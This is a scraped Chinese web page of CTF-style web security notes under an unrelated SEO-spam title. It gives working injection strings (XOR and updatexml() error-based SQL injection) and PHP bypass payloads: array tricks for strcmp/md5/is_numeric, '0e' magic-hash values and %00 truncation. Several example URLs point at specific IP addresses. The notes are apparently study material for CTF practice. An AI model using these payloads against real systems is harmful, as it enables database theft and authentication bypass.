当前位置: 首页 > news >正文

鸿蒙系统ui设计规范上海seo推广公司

鸿蒙系统ui设计规范,上海seo推广公司,制作网站模板教程,网站建设包括哪些内容异或注入:两个条件相同(同真或同假)即为假。 http://120.24.86.145:9004/1ndex.php?id1^(length(union)!0)-- 如上,如果union被过滤,则 length(union)!0 为假,那么返回页面正常。 2|0updatexml() 函数报…

异或注入:两个条件相同(同真或同假)即为假。

 

http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')!=0)--+

如上,如果union被过滤,则 length('union')!=0 为假,那么返回页面正常。

2|0updatexml() 函数报错注入

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

注入语句示例:

 

select name from user where id=1 and updatexml(1,concat('~',(select database()),'~'),3);

注入原理:这个函数的第二个参数需要Xpath格式的字符串,则传入错误的格式会爆出错误,在内的语句会以爆出执行后的结果

3|0源文件泄露利用

.DS_Store文件泄露:利用工具----ds_store_exp,github地址

.git文件泄露:利用工具----GitHack,github地址

4|0extract变量覆盖

extract()函数:从数组中将变量导入当前符号表。

定义:

  • 从数组中将变量导入到当前的符号表
  • 该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量

语法:extract(array,extract_rules,prefix)

  • array,必需,要使用的数组
 

<?php $a="hello"; $b= array('a' =>"world" ,"b"=>"gogogo"); extract($b); echo $a; //world ?>

如上所示,会存在一个覆盖漏洞。

5|0strcmp()漏洞

 

<?php echo strcmp("Hello world!","Hello world!"); // 两字符串相等 //0 echo strcmp("Hello world!","Hello"); // string1 大于 string2 //7 echo strcmp("Hello world!","Hello world! Hello!"); // string1 小于 string2 //-7 ?>

​ 如上所示,strcmp()用于比较字符串大小,但是strcmp()在比较字符串和数组的时候直接返回0,可用于绕过。

6|0md5()漏洞

 

$_GET['name'] != $_GET['password'] MD5($_GET['name']) == MD5($_GET['password']) MD5($_GET['name']) === MD5($_GET['password'])

​ PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。

以下值在md5加密后以0E开头:

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a
  • s214587387a
  • s214587387a

另外,MD5()无法处理数组,当比较数组时,会返回0,也能用于绕过,name[]=a&password[]=b

7|0ereg()截断漏洞

ereg()与strpos()两个函数同样不能用数组作为参数,否则返回NULL。

另外,ereg()存在截断漏洞,使用%00可以截断正则匹配。

另外,当长度与数值矛盾时,可以采用科学计数法表示,1e8=100000000。

8|0弱类型整数大小比较绕过

 

$temp = $_GET['password']; is_numeric($temp)?die("no numeric"):NULL; if($temp>1336){ echo $flag;

is_numeric()同样可以用数组绕过、%00截断、添加其他字符

 

http://123.206.87.240:9009/22.php?password[]=1 http://123.206.87.240:9009/22.php?password=9999a http://123.206.87.240:9009/22.php?password=9999%00

http://www.yayakq.cn/news/324353/

相关文章:

  • 雄安网站建设优化公司简单的网站建设模板
  • 义乌网站建设yw126外国人做家具的网站
  • 怎么做整人网站外贸网站推广哪家好
  • 做网站需要多少钱 做成都电商平台网站设计
  • 安徽茶叶商城网站建设git网站开发
  • 创建网站需要注意什么物联网工程专业就业方向及前景
  • 网站建设竞标书网上商城开发价格
  • 天津网站备案在哪照相广州网络引流公司
  • 做淘宝要用的网站如何做国外网站
  • 运动服饰网站建设项目规划书网络营销方法有什么
  • 做网站创意是什么意思做爰全过程网站免费的视频
  • 网站开发组合 所有组合新闻类的网站如何做优化、
  • 阎良做网站网站跟域名是什么关系
  • 政务网站设计方案wordpress搭建淘宝客
  • 太原做学校网站的公司wordpress 屏蔽广告
  • 印尼做网站的教学 中文免费表格模板下载
  • 电子商务网站建设模式电商网站设计的原则
  • 广西企业建站重庆网站设计更新
  • 做网站在线视频如何添加深圳购物商城网站建设
  • 专业建设英文网站深圳室内装修公司
  • 广州云脑网站建设建站平台 在线提交表格功能
  • html5网站带后台网站建设台词
  • 云南网站建设找天软网页设计个人博客模板
  • 晋江网站建设价格多少长沙的科技公司
  • 用阳寿做交易的网站wordpress靶机
  • 单页网站还能用吗阿里云网站建设官方自营店
  • 中英文企业网站怎么做新闻html网页设计代码范文
  • 新手做网站遇到的问题以及解决方案赣县企业网站建设
  • 网站建设备案条件建站行业已死
  • wordpress添加页面的代码网站怎样做有利于seo